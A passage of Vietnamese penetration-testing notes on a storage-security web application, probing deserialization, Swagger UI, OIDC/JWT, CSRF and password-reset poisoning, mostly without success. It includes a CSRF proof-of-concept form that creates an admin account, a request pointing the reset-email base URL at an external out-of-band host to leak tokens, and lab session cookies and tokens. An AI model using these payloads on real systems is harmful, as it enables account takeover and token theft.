"web_link" => JsonConvert.DeserializeObject<BoxWebLink>(item.ToString()),
_ => throw new System.Text.Json.JsonException(),
});
}
return list;
}
Lần ngược lên trên: BoxItemConverter
→ BoxCollectionMarkerConverter
→ BoxFolderItemsRetriever
→ BoxItemsRequestsFactory
.
Cần config Box Storage để có thể test Insecure Deserialization.
Chỉ có thể khai thác Insecure Deserialization ở trên thư viện JSON.NET chứ không phải thư viện System.Text.Json version 9 của Microsoft (các version thấp hơn vẫn có thể khai thác, ví dụ: CVE-2024-43485, CVE-2024-30105).
Swagger UI ❌
Ở trong /api/docs/index.html
, tìm được đoạn script client-side có source là query param url
như sau:
var url = window.location.search.match(/url=([^&]+)/);
if (url && url.length > 1) {
url = decodeURIComponent(url[1]);
} else {
url = undefined;
}
var urls = [{"url":"/api/docs/v1/swagger.json","name":"MetaDefender Storage Security API"}];
// ...
// Build a system
var ui = SwaggerUIBundle({
url: url,
urls: urls,
validatorUrl: null,
oauth2RedirectUrl: window.location.origin + "/api/docs/oauth2-redirect.html",
docExpansion: "list",
operationsSorter: "alpha",
defaultModelsExpandDepth: 1,
defaultModelExpandDepth: 1,
tagsSorter: "none",
dom_id: '#swagger-ui',
deepLinking: true,
presets: [
SwaggerUIBundle.presets.apis,
SwaggerUIStandalonePreset
],
plugins: [
SwaggerUIBundle.plugins.DownloadUrl,
disableTryItOutPlugin
],
layout: "StandaloneLayout"
});
Tuy nhiên, theo tài liệu của Swagger, khi urls
được sử dụng thì url
sẽ bị bỏ qua: Configuration | Swagger Docs. Ngoài index.html
, ta còn tìm thấy 2 file JavaScript là swagger-ui-bundle.js
và swagger-ui-standalone-preset.js
. Về mặt ý nghĩa, tham số này được dùng để chỉ định JSON schema được sử dụng để hiển thị. Ví dụ: ?url=https://petstore.swagger.io/v2/swagger.json
.
Ở bên trong file swagger-ui-bundle.js
có đoạn sau cho biết version của DOMPurify:
function createDOMPurify(s = nt()) {
const DOMPurify = o => createDOMPurify(o);
DOMPurify.version = "3.1.4";
DOMPurify.removed = [];
if (!s || !s.document || s.document.nodeType !== rt.document) {
DOMPurify.isSupported = false;
return DOMPurify;
}
Phiên bản này có một lỗ hổng XSS: Cross-site Scripting (XSS) in dompurify | CVE-2025-26791 | Snyk.
Hơn thế nữa, khi truy cập /api/docs/oauth2-redirect.html
, ta cũng thấy có client-side script nhưng không khai thác được gì.
Khi ở trang của Swagger UI, nhập JSON.stringify(versions)
vào console sẽ giúp ta biết được version của Swagger UI:
{"swaggerUI":{"version":"5.17.14","gitRevision":"g8aa52920","gitDirty":true,"buildTimestamp":"Tue, 28 May 2024 05:23:41 GMT"}}
Phiên bản này không có lỗ hổng nào.
Password Reset Poisoning ❌
User với quyền admin có thể thay đổi cấu hình SMTP → đổi Base URL thành một controlled URL nào đó:
Gửi request cho nạn nhân:
BaseURL sẽ được hiển thị trong email reset password cùng reset token:
Nạn nhân click vào → leak reset token:
Tuy nhiên, bug này yêu cầu quyền admin để kiểm soát và không có cách remediation nào triệt để.
Hyperlink Injection
Ngoài được nhúng vào email reset password, Base URL còn được nhúng vào trong email thông báo có user vừa đăng ký tham gia ứng dụng:
Tuy nhiên, bug này cần quá nhiều điều kiện khai thác (user interaction, user có quyền cao config SMTP settings, etc) và impact của nó quá thấp nên ta sẽ không report.
OpenID Connect (OIDC) ❌
Khi kết thúc quá trình xác thực OIDC1 bằng Hybrid flow (có response_type
là code id_token
), request callback sẽ có dạng như sau:
POST /callback HTTP/1.1
Host: localhost
Cookie: .AspNetCore.OpenIdConnect.Nonce.CfDJ8PwGpo2ubfRBuMV9tdcxNpvWbDn19K2lCwITn0rF5aJDoQtMpV6NrOpEJDIK6KVTi6CU3BkR9jqHjwdTNiczpypg17DmMv955r6Ody3aAfV1U8wXrocaFytGW_HvH-d1j7n81k13in1KGHRA8vqSgHIppyLyLt8f1t5DlMfDOEEbq4JlWbQF7tF0qXJQG_tJUTNuaYtbN3tKMKNbTs9obMUOnDXflTe0GRTvBtrR51qDv2y7qR1VnAr5SlcNAMLglZRt0xE1ywxcOXx61HPrkog=N; accessToken=COOKIE_AUTH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1749
state=CfDJ8PwGpo2ubfRBuMV9tdcxNpvH19zTjgKyj3avSK4hJTvkM-o73vK1XfjpVOS015UxB7LnHPwNaGNK_WbzntXZn0xBEBMfJxHy2kFpWkOAkrxBuGKvXu2r4AGewYm_A3JEBU-D3AHyTS12EglP-QBKUq6V7IcmtXBJHtHPQaGUHRnsEE0rvfOsJpDu4JiwvtxVtvPsTp6X-MH-wvvmvhcR4gduxODM7DmIwR7u10aMREXPDL3CnLn_AA191lSF8N4pOiHFt0fH0fXPZuZd2XyfpA-6s3cO7jn5B4W2BzzLCQ5D&code=XdclDNiBz5Q7_brS_VYbnsw2sbMupkCd1fmzoo5c-TE&id_token=eyJraWQiOiJFSHl5dUtXMGhrODVYbWpxXzQtamN3dkQwZXgtMXl3eEV6aGt2R0JfVWYwIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiIwMHVvZm12azVzWVY3SzhGQzVkNyIsIm5hbWUiOiJhZG1pbiBhZG1pbiIsImxvY2FsZSI6ImVuX1VTIiwiZW1haWwiOiJhZG1pbkBwZW50ZXN0LmxvY2FsIiwidmVyIjoxLCJpc3MiOiJodHRwczovL2Rldi0yMzYzNTk2OS5va3RhLmNvbS9vYXV0aDIvZGVmYXVsdCIsImF1ZCI6IjBvYW9mbXdtbmhvQnBNYWE5NWQ3IiwiaWF0IjoxNzQ1ODMzNjM4LCJleHAiOjE3NDU4MzcyMzgsImp0aSI6IklELmNBRzNMYmVCaVlrTFJnUnVZNXR2dFI2NlQyS0VNVVA0SU9ydU1oVEN6bTgiLCJhbXIiOlsicHdkIl0sImlkcCI6IjAwb29mbG9zaHV0Z3hrOGIwNWQ3Iiwibm9uY2UiOiI2Mzg4MTQzMDM1MzEyNjExNTIuTldZNE9UTmxPVEV0Tm1FMFl5MDBZVFV6TFdJd056QXRZVEJsWldVNFl6bGxNVGcyT0RnNE9Ea3laRFV0TkRKa1l5MDBabUUzTFRrNU1XSXRaakJoTWpKbE1UUTJPVGxoIiwicHJlZmVycmVkX3VzZXJuYW1lIjoiYWRtaW5AcGVudGVzdC5sb2NhbCIsImdpdmVuX25hbWUiOiJhZG1pbiIsImZhbWlseV9uYW1lIjoiYWRtaW4iLCJ6b25laW5mbyI6IkFtZXJpY2EvTG9zX0FuZ2VsZXMiLCJ1cGRhdGVkX2F0IjoxNzQ1NDg3MTI5LCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiYXV0aF90aW1lIjoxNzQ1ODMwMDUyLCJjX2hhc2giOiJuZl9sMGxHanBTRTlOb0IzelgzdnhBIiwiZ3JvdXBzIjpbIkV2ZXJ5b25lIiwiU3NvQWRtaW5pc3RyYXRvciJdfQ.W6e1WhBdYb5A9uPc-YnwUdpBYikdtW0Rgh0NQ0oZgfmjR72lKGVL2yt_QxgpvAXd-wO6we1KUzIEVf6uQyd5zI6PosOPUE3GxXAgt2MVeZ-CsBCh7ds3JV6M5a3wVSeAmaVPV5-jA8_Vk9tvPkhH4eDhaxgFYhFetZXxKHc7V0GpMTJrOqZ-t27Ai3vna6PNz9N0ThBlOgxumcX1U9hpcEU9-RZkTSO6D5tHlYg7mYeM7y36eFbcFvIZRBOk5KOovcsqE0YYGNoh0zRpYVZqDVdo61L8x_odXiejGET-qLWgKaPpyTNAR3cga_x-K0OUH4NSXkQHjYTkk6Q1vdIGOg
Với:
state
dùng để chống CSRFcode
là authorization code dùng để xác thựcid_token
là một JWT chứa dữ liệu về user
Thử lần lượt xóa và chỉnh sửa các giá trị trên thì không thành công.
Dữ liệu của id_token
sau khi Base64-decoded:
{
"kid": "EHyyuKW0hk85Xmjq_4-jcwvD0ex-1ywxEzhkvGB_Uf0",
"alg": "RS256"
}
{
"sub": "00uofmvk5sYV7K8FC5d7",
"name": "admin admin",
"locale": "en_US",
"email": "admin@pentest.local",
"ver": 1,
"iss": "https://dev-23635969.okta.com/oauth2/default",
"aud": "0oaofmwmnhoBpMaa95d7",
"iat": 1745833820,
"exp": 1745837420,
"jti": "ID.RK29X_-5GsYwGJ0-xtUBJmzf_EqROtaVakbPGwPKX_0",
"amr": [
"pwd"
],
"idp": "00oofloshutgxk8b05d7",
"nonce": "638814303531261152.NWY4OTNlOTEtNmE0Yy00YTUzLWIwNzAtYTBlZWU4YzllMTg2ODg4ODkyZDUtNDJkYy00ZmE3LTk5MWItZjBhMjJlMTQ2OTlh",
"preferred_username": "admin@pentest.local",
"given_name": "admin",
"family_name": "admin",
"zoneinfo": "America/Los_Angeles",
"updated_at": 1745487129,
"email_verified": true,
"auth_time": 1745830052,
"c_hash": "ZHS3PvlYtYF6wv8spNP4VQ",
"groups": [
"Everyone",
"SsoAdministrator"
]
}
Thử các tấn công trên JWT cho `id_token` thì không thành công.
Xem thêm [[Port Swigger - JWT Attacks|JWT Attacks]].
CSRF ❌
Khi đăng nhập bằng SSO mà cụ thể là thông qua OpenID, user sẽ được cấp các cookie như sau:
Cookie: .AspNetCore.Cookies=CfDJ8PwGpo2ubfRBuMV9tdcxNpuzsSZq4LoYpzjJSYu452gdXqJ17a674C0c17rQbvdRh9d8t9qdAU1TojxAt9rK5Achoj4d0hdS7kbrTwQbjzL1bcmrdOvFOwdJ2NGGpf_-QJdl4sEfACF7sWFgXDk64NvcSWd4_ztLua0uCXJKBzesHDAMdiq4xkO1D5xocHRFWIwQDI022p78PpfbQTUXn3_pC33GUHP_usp2AYgFS_QZbDIfTNzOnrvcstcE4JzSx4-nBVxqrrwgT8Xos3RFFPA6A8A61dllFqgjh9qJRhNWiHaBJ0rmpzuWirlmiRqBblbJyFjYmhtDWwx27kaN5Do; accessToken=COOKIE_AUTH; full_name=admin%20admin; user_email=admin@pentest.local; user_name=admin%20admin; role=SsoAdministrator; authenticationType=COOKIE; accessTokenExpiryTime=0001-01-01T00:00:00; refreshTokenExpiryTime=0001-01-01T00:00:00; user_id=7e69a648-09c3-4024-9f59-78f8c87e4ff5
Với .AspNetCore.Cookies
là một native cookie của ASP.NET và được gọi là authentication ticket.
Cookie `.AspNetCore.Cookies` được serialized, mã hóa và ký rồi mới được Base64-encoded.
Do cookie `.AspNetCore.Cookies` không có attribute `Expires` nên ta có thể tái sử dụng giá trị cookie cũ.
Khi gửi request đến server, client không sử dụng JWT với header Authorization
mà chỉ sử dụng các cookie này. Hơn thế nữa, attribute SameSite
của cookie này được set thành None
.
Thử khai thác CSRF thì thấy rằng đa số các request đều có Content-Type
là application/json
. Khi sử dụng payload sử dụng Content-Type
là x-www-form-urlencoded
để giả dạng một JSON:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/api/user/create" method="POST" enctype="x-www-form-urlencoded">
<input type="hidden" name='{"email":"admin+2@pentest.local","userName":"eviladmin","fullName":"eviladmin","password":"Pentest@1337#","role":2,"dummy":"' value='"}' />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Ta nhận được response sau:
HTTP/1.1 415 Unsupported Media Type
Server: nginx
Date: Mon, 28 Apr 2025 07:30:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 176
{
"type" : "https://tools.ietf.org/html/rfc9110#section-15.5.16",
"title" : "Unsupported Media Type",
"status" : 415,
"traceId" : "00-5f2175316c6b4f4d4fafd4f631377f7c-c253a920e96ac6f7-00"
}
Điều này tương tự với text/plain
.
Sử dụng Intruder duyệt qua tất cả các URL của các POST endpoint và thử lần lượt với application/x-www-form-urlencoded
, multipart/form-data
và text/plain
thì thấy server validate đúng cho các request có request body. Đối với các request không có body thì tìm được các endpoint có thể dùng để DoS như sau:
POST /api/settings/admin/license/deactivate
: deactivate licensePOST /api/ocm
: unenroll OCM
Hai endpoint trên không gây ra impact gì quá lớn và cần phải được thực hiện liên tục nên ta sẽ không xem đây là bug.
Nếu ta thay đổi enctype
thành giá trị khác application/x-www-form-urlencoded
, multipart/form-data
và text/plain
hoặc sử dụng Fetch API để chỉ định Content-Type
thành application/json
thì browser sẽ gửi một OPTIONS request đến server. Nếu server không set ACAO header cho response trả về thì request này sẽ bị chặn bởi browser và dẫn đến là sẽ không có POST request nào được gửi đi.
Còn một cách tiếp cận khác tận dụng Flash (file .swf
) và tận dụng redirect response với status code là 307
:
- GSA Bounty | Report #263662 - Cross-Site Request Forgery on the Federalist API (all endpoints), using Flash file on the attacker’s host | HackerOne
- Exploiting JSON Cross Site Request Forgery (CSRF) using Flash | Geekboy | Security Researcher
Tuy nhiên, do Flash đã cũ (deprecated từ 2020) nên không sử dụng cách tiếp cận này.
Tham khảo: [CSRF with JSON POST when Content-Type must be application/json - Information Security Stack Exchange](https://security.stackexchange.com/questions/170477/csrf-with-json-post-when-content-type-must-be-application-json)
UI DoS ❌
Khi chỉnh sửa Base URL của SMTP settings lại thành một hostname dài mà có chứa ký tự "
như sau:
PATCH /api/settings/smtp HTTP/1.1
{
"host" : "10.40.144.103",
"port" : 25,
"baseUrl" : "https://d08418hpnbdo4m7btpn0qnqs61iut86qf.insomnia1102.online\"",
"senderAddress" : "",
"senderName" : "",
"domain" : "pentest.local",
"username" : "admin@pentest.local",
"secureSocketOption" : 0,
"ignoreCertWarnings" : true,
"isSmtpEnabled" : true
}
UI của trang SMTP settings ở path /settings/smtp
sẽ bị đơ và console sẽ quăng lỗi như sau:
InternalError: too much recursion
ky https://localhost/assets/index-XTvvbeis.js:732
zCn https://localhost/assets/index-XTvvbeis.js:732
JQ https://localhost/assets/index-XTvvbeis.js:38
eU https://localhost/assets/index-XTvvbeis.js:40
CJ https://localhost/assets/index-XTvvbeis.js:40
SJ https://localhost/assets/index-XTvvbeis.js:40
bAe https://localhost/assets/index-XTvvbeis.js:40
gv https://localhost/assets/index-XTvvbeis.js:40
dU https://localhost/assets/index-XTvvbeis.js:40
_J https://localhost/assets/index-XTvvbeis.js:40
v https://localhost/assets/index-XTvvbeis.js:25
U https://localhost/assets/index-XTvvbeis.js:25
SES_UNCAUGHT_EXCEPTION: InternalError: too much recursion
ky https://localhost/assets/index-XTvvbeis.js:732
zCn https://localhost/assets/index-XTvvbeis.js:732
JQ https://localhost/assets/index-XTvvbeis.js:38
eU https://localhost/assets/index-XTvvbeis.js:40
CJ https://localhost/assets/index-XTvvbeis.js:40
SJ https://localhost/assets/index-XTvvbeis.js:40
bAe https://localhost/assets/index-XTvvbeis.js:40
gv https://localhost/assets/index-XTvvbeis.js:40
dU https://localhost/assets/index-XTvvbeis.js:40
_J https://localhost/assets/index-XTvvbeis.js:40
v https://localhost/assets/index-XTvvbeis.js:25
U https://localhost/assets/index-XTvvbeis.js:25
Ý tưởng ban đầu là DoS giao diện của user xem trang settings của SMTP. Tuy nhiên, tất cả các user có quyền đọc SMTP settings đều có quyền chỉnh sửa thông qua API. Khi đó, họ có thể sửa lại giá trị cho đúng. Dẫn đến, không thể thực hiện DoS giao diện được.
Behaviours
Request Flow
Xét ví dụ thêm mới một storage thông qua endpoint POST /api/storage
, ta sẽ phân tích luồng của request trong kiến trúc CQRS.
Request sẽ đi qua API gateway ở port 8005
với controller tương ứng:
[Route("api/[controller]")]
[ApiController]
[Authorize(Policy = "HasLocalOrSsoReadOnlyPrivileges")]
[OpenApiTag("Storage", Description = "Manage your storage units")]
[Produces("application/json", new string[] { })]
public sealed class StorageController : ControllerBase
{
// ...
[HttpPost]
[Authorize(Policy = "HasLocalOrSsoTenantAdministrativePrivileges")]
public async Task<ActionResult<AddNewStorageCommandResponse>> AddStorage([FromForm][Required] AddStorageParameters storageParameters, CancellationToken cancellationToken = default(CancellationToken))
{
cancellationToken.ThrowIfCancellationRequested();
IAddNewStoragePipeline addNewStoragePipeline = _addNewStoragePipeline;
return ObjectResultHelper.GetObjectResult(await addNewStoragePipeline.Handle(new AddNewStorageCommandRequest(storageParameters, await this.GetCurrentUserInfo(_mediator, cancellationToken)), cancellationToken), "AddNewStorageCommandRequest");
}
// ...
}
Sau đó, request sẽ được handle bởi hàm Handle
của pipeline tương ứng, với đối số truyền vào là một CommandRequest
(hoặc QueryRequest
đối với query):
public sealed class AddNewStoragePipeline(ICredentialsFileInputHelper credentialsFileInputHelper, IEventBusService eventBusService, IMediator mediator) : IAddNewStoragePipeline, IPipeline<AddNewStorageCommandRequest, AddNewStorageCommandResponse>
{
// ...
public async Task<AddNewStorageCommandResponse> Handle(AddNewStorageCommandRequest request, CancellationToken cancellationToken) {
// ...
AddStorageRpcResponse addStorageRpcResponse = await eventBusService.PublishRpc<AddStorageEvent, AddStorageRpcResponse>(new AddStorageEvent
{
StorageInformation = storageInformation,
UserInfo = request.UserInfo
}, cancellationToken);
// ...
}
// ...
}
Có thể thấy, hàm Handle
gửi một gRPC event đến service tương ứng chịu trách nhiệm tạo storage. Cụ thể hơn, hàm xử lý AddStorageEvent
sẽ là:
private async Task<AddStorageRpcResponse> AddStorageEventHandler(AddStorageEvent addStorageRpcEvent, CancellationToken cancellationToken) {
// ...
CreateStorageRpcResponse createStorageRpcResponse = await _eventBusService.PublishCreateStorageRpcEvent(StoragesHelper.CreateStorageEventHelper(addStorageRpcEvent, sameVendorTypeStorages, protocolType), cancellationToken);
// ...
}
Hàm này nằm trong file StoragesService.cs
của opswat.mdss.storages.service
.
Với hàm CreateStorageEventHelper
dùng để tạo ra một CreateStorageEvent
:
public static CreateStorageEvent CreateStorageEventHelper(AddStorageEvent addStorageRpcEvent, IEnumerable<StorageMessage> sameVendorTypeStorages, ProtocolType protocolType)
{
return new CreateStorageEvent
{
StorageInformation = addStorageRpcEvent.StorageInformation,
SameVendorTypeStorages = sameVendorTypeStorages,
ProtocolType = protocolType
};
}
Tiếp đến, CreateStorageEvent
sẽ được handle bởi hàm Handle
của từng loại storage. Ví dụ bên dưới là hàm Handle
của CreateStoragePipeline.cs
thuộc opswat.mdss.storages.mft.service
:
public async Task<CreateStorageCommandResponse> Handle(CreateStorageCommandRequest request, CancellationToken cancellationToken)
{
// ...
GenerateStorageCommandResponse generateStorageCommandResponse = await _mediator.Send((IRequest<GenerateStorageCommandResponse>)new GenerateStorageCommandRequest(request.StorageInformation), cancellationToken);
// ...
if ((await _mediator.Send((IRequest<StorageIdentityQueryResponse>)new StorageIdentityQueryRequest(request.SameVendorTypeStorages, generateStorageCommandResponse.Storage), cancellationToken)).DoesStorageAlreadyExist)
// ...
HandlerResponse handlerResponse = await _mediator.Send((IRequest<HandlerResponse>)new TestStorageCommandRequest(generateStorageCommandResponse.Storage), cancellationToken);
// ...
}
Có thể thấy, nó tiếp tục thực hiện các command/query để tạo ra một storage. Với command GenerateStorageCommand
được handle bởi opswat.mdss.storages.mft.service
như sau:
internal class GenerateStorageCommandHandler(IMediator mediator) : IRequestHandler<GenerateStorageCommandRequest, GenerateStorageCommandResponse>
{
public async Task<GenerateStorageCommandResponse> Handle(GenerateStorageCommandRequest request, CancellationToken cancellationToken)
{
cancellationToken.ThrowIfCancellationRequested();
CreateStorageInformation storageInformation = request.StorageInformation;
ValidateAddStorageCommandResponse validateAddStorageCommandResponse = await mediator.Send((IRequest<ValidateAddStorageCommandResponse>)new ValidateAddStorageCommandRequest
{
VendorType = storageInformation.VendorType,
ProtocolType = storageInformation.ProtocolType,
Source = storageInformation.Source,
Credentials = storageInformation.Credentials
}, cancellationToken);
// ...
}
}
Command ValidateAddStorage
chính là command thực hiện validate và khởi tạo giá trị cho các field của storage.
Để tương tác với database, sẽ có một lớp tên là StorageProvider
, cung cấp các hàm chẳng hạn như AddNewStorage
như bên dưới:
public Task<bool> AddNewStorage(NewStorage storage, CancellationToken cancellationToken = default(CancellationToken))
{
return _database.InsertOne(storage, "storages", cancellationToken);
}
Cụ thể hơn, trong ví dụ trên, hàm AddStorageEventHandler
sẽ gọi hàm AddNewStorage
của StorageProvider
như sau:
if (!(await _storageProvider.AddNewStorage(newStorageModel, cancellationToken)))
{
return AddStorageRpcResponse.HandleFailToAddStorageRpcResponse("Storage " + storageLogInfo.Template + " could not be added to the database.", storageLogInfo.DataObjects);
}
Minh họa:
flowchart TD A[Client] -->|POST /api/storage| B[API Gateway:8005] B --> C["StorageController - AddStorage()"] C --> D["AddNewStoragePipeline - Handle()"] D -->|"PublishRpc(AddStorageEvent)"| E["StoragesService - AddStorageEventHandler()"] E --> F["CreateStorageEventHelper()"] F -->|PublishCreateStorageRpcEvent| G["CreateStoragePipeline - Handle()"] G --> H["GenerateStorageCommandHandler - Handle()"] H --> I["ValidateAddStorageCommandHandler - Handle()"] G --> J["StorageIdentityQueryHandler - Handle()"] G --> K["TestStorageCommandHandler - Handle()"] I --> L["MongoDB - AddNewStorage()"]
Authorization
Việc kiểm tra access control được thực hiện bằng cách dùng annotation [Authorize(Policy = "PolicyName")]
ở trong code.
Ví dụ, nếu dùng cho controller thì toàn bộ các path của controller đều sẽ được áp dụng annotation:
[Obsolete("Obsolete")]
[Route("api/[controller]")]
[ApiController]
[Authorize(Policy = "HasLocalOrSsoAdministrativePrivileges")]
[Produces("application/json", new string[] { })]
public sealed class CorePoolController : ControllerBase {
}
Ví dụ trên chỉ cho phép user có quyền admin truy cập.
Cũng có thể dùng cho một method đơn lẻ:
[HttpPatch]
[OpenApiOperation("Update an account", "")]
[Authorize(Policy = "HasLocalOrSsoAdministrativePrivileges")]
public async Task<ActionResult<UpdateAccountCommandResponse>> UpdateAccount(UpdateAccountParameters updateAccountParameters, CancellationToken cancellationToken = default(CancellationToken)) {
}
Ngoài policy trên thì còn có các policy sau:
[Authorize(Policy = "HasLocalOrSsoReadOnlyPrivileges")]
[Authorize(Policy = "HasLocalOrSsoTenantAdministrativePrivileges")]
Header Parameter
Controller có thể nhận header làm đối số nếu nó dùng annotation FromHeader
như sau:
[FromHeader(Name = "searchTerm")][RegularExpression("^[^@#$%&*\"';:.|,{}?+=><`~^[\\]!\\\\]+$", ErrorMessage = "Not a valid name")] string searchTerm
Dòng trên nằm ở trong hàm EnumerateActiveUsers
của UserController.cs
.
On-Site Redirect
Khi gửi request đến /assets
(không có /
ở cuối) mà có sử dụng JWT, ta nhận được response là một server-side redirect như sau:
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Tue, 22 Apr 2025 04:06:58 GMT
Content-Type: text/html
Content-Length: 162
Location: http://10.40.144.103/assets/
Với hostname là giá trị của Host
header trong request.
Ngoài ra, nếu dùng URL trong request line:
GET https://www.google.com/assets HTTP/1.1
Host: 10.40.144.103
Location sẽ là: http://www.google.com/assets/
Reuse API Key
Nếu ta dùng lại API cũ thông qua POST /api/apikey
:
POST /api/apikey HTTP/1.1
Host: localhost
{
"value" : "12345"
}
Thì response sẽ có status code là 500:
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Wed, 23 Apr 2025 07:46:06 GMT
Content-Length: 0
Connection: keep-alive
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
Footnotes
-
xem thêm Extending OAuth with OpenID Connect ↩